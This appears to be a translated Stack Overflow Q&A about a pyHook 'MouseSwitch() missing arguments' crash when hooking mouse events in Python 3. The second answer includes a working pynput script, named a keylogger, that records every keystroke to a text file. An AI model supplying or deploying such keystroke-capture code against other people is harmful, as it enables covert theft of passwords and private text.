如何避免TypeError:MouseSwitch()缺少8个必需的位置参数:'msg','x','y','data','time','hwnd'和'window_name'

时间:2014-12-08 17:15:44

标签: python typeerror pyhook

尝试挂钩鼠标事件,但在我的早期测试中,程序在大约30秒后停止响应[编辑:查看帖子的底部]并给出此错误

  

TypeError:MouseSwitch()缺少8个必需的位置参数:' msg',' x',' y',' data', ' time',' hwnd'和' window_name'

这是代码。它应该只打印所有事件信息,直到它崩溃为止。

import pythoncom
import pyHook

def OnMouseEvent(event):
    print ('MessageName:',event.MessageName)
    print ('Message:',event.Message)
    print ('Time:',event.Time)
    print ('Window:',event.Window)
    print ('WindowName:',event.WindowName)
    print ('Position:',event.Position)
    print ('Wheel:',event.Wheel)
    print ('Injected:',event.Injected)
    print ('---')
    return True

hm = pyHook.HookManager()
hm.MouseAll = OnMouseEvent
hm.HookMouse()
pythoncom.PumpMessages()

任何帮助都将不胜感激。

更新<!/强> 进行了一些进一步的测试后,只有在鼠标悬停在某些窗口(例如skype联系人列表)上时才会发生崩溃。如果我将鼠标悬停在Google Chrome窗口的标题上,我也会收到相同的错误消息(但没有崩溃)。

2 个答案:

答案 0 :(得分:0)

我使用KeyboardSwitch代替MouseSwitch,并在pyHook尝试将窗口名称解释为ascii时将其跟踪到UnicodeDecodeError。它在Skype上失败,其窗口名称中包含unicode字符。我已经发布了如何修复它here。但是我不得不重建pyHook。

答案 1 :(得分:0)

pyHook更面向python2。github中有一些存储库,可以在python 3中使用它作为修改和扩展,现在,更好地在python 3中使用pynput如下:

# -*- coding: utf-8 -*-

from pynput.keyboard import Listener

def key_recorder(key):    
    f=open('keylogger.txt','a')
    keyo=str(key)

    if keyo=="Key.enter":
        f.write('\n')
    elif keyo=="Key.space": 
        f.write(" ")
    elif keyo =="Key.backspace":       
        #f.write(keyo.replace(keyo,""))          
        size=f.tell()    # the size... 
        f.truncate(size-1)     
    elif keyo=="Key.alt_l" or keyo=="Key.tab":
        f.write('')  
    elif keyo=="Key.ctrl_l":
        f.write('')    
    elif keyo=="Key.alt_gr":
        f.write('')                                 
    else:
        print(keyo)
        f.write(keyo.replace("'",""))

with Listener(on_press=key_recorder) as l :
    l.join()